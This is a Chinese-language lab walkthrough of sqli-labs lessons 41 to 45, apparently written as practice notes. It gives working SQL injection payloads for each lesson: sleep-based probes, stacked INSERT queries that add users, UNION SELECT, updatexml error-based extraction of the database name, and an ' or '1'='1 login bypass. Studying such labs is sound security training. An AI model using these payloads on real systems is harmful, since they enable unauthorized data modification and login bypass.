lesson-41 宽字节注入
判断注入:
?id=1 and sleep(3)
插入数据:
?id=1;insert into users (username,password) values ('44','55');
或union select注入:
-1 union select 1,2,database()
![](https://img-blog.csdnimg.cn/img_convert/f089592a2ecb362bc678506fdb16b54f.png)
2.lesson-42 宽字节注入
判断注入:
单引号注入
在username除无注入,被 mysqli_real_escape_string函数过滤了
插入数据:
login_user=admin&login_password=555';insert into users (username,password) values ('55','44');-- +&mysubmit=Login
或报错注入:
login_user=admin&login_password=555' or updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +&mysubmit=Login
![](https://img-blog.csdnimg.cn/img_convert/76c564e328cef2238f2ed29c0388de21.png)
3.lesson-43 宽字节注入
判断注入:
单引号括号注入
插入数据:
login_user=adn&login_password=555');insert into users (username,password) values ('555','444');-- +&mysubmit=Login
或报错注入
login_user=a&login_password=aaa') or updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +&mysubmit=Login
![](https://img-blog.csdnimg.cn/img_convert/c659a501e662cb59f5d023589371f1e2.png)
4.lesson-44 宽字节注入
判断注入
为单引号注入
没有报错,不可用盲注判断闭合符号,因为是登录时,查用户名和密码,都是不对的,and sleep(3),就不行了
login_user=aaaa&login_password=aa' or '1'='1&mysubmit=Login
闭合为什么不能用-- +,#,因为查的是登录的用户名和密码,是没有这一条数据的,看不出来是否登录成功
闭合还可以用or 1=1#
用or ' ,and '1'='1,and '都不行,or ' 和查询时的用户名和密码都是假的,所以没数据,and '和and '1'='1一样
插入数据:
login_user=aaaa&login_password=aa' ;insert into users (username,password) values ('55a5','4a44'); or '1'='1&mysubmit=Login
盲注用不了,因为后面的 or '1'='1,闭合后为恒真
5.lesson-45 宽字节注入
判断注入:
单引号加括号
login_user=aaaa&login_password=aa') or ('1')=('1&mysubmit=Login
插入数据:
login_user=aaaa&login_password=aa') ;insert into users (username,password) values ('55a5','4a44'); or ('1')=('1&mysubmit=Login